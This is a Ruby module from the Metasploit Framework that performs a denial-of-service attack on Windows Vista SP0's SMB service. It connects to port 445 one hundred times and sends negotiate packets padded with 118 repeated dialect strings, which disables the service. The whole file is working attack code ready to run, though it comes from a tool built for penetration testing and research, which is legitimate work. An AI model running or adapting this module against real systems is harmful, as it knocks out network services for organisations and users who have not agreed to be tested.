##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary::Dos

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS',
			'Description'    => %q{
				This module exploits a flaw in Windows Vista that allows a remote
			unauthenticated attacker to disable the SMB service. This vulnerability
			was silently fixed in Microsoft Vista Service Pack 1.
			},

			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'OSVDB', '64341'],
				]
		))

		register_options([Opt::RPORT(445)], self.class)
	end

	def run

		print_status("Sending 100 negotiate requests...");

		# 100 requests ensure that the bug is reliably hit
		1.upto(100) do |i|

			begin

				connect

				# 118 dialects are needed to trigger a non-response
				dialects = ['NT LM 0.12'] * 118

				data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')

				pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
				pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
				pkt['Payload']['SMB'].v['Flags1'] = 0x18
				pkt['Payload']['SMB'].v['Flags2'] = 0xc853
				pkt['Payload'].v['Payload'] = data
				pkt['Payload']['SMB'].v['ProcessID'] = rand(0x10000)
				pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)

				sock.put(pkt.to_s)

				disconnect

			rescue ::Interrupt
				raise $!

			rescue ::Exception
				print_error("Error at iteration #{i}: #{$!.class} #{$!}")
				return
			end

		end

	end
end
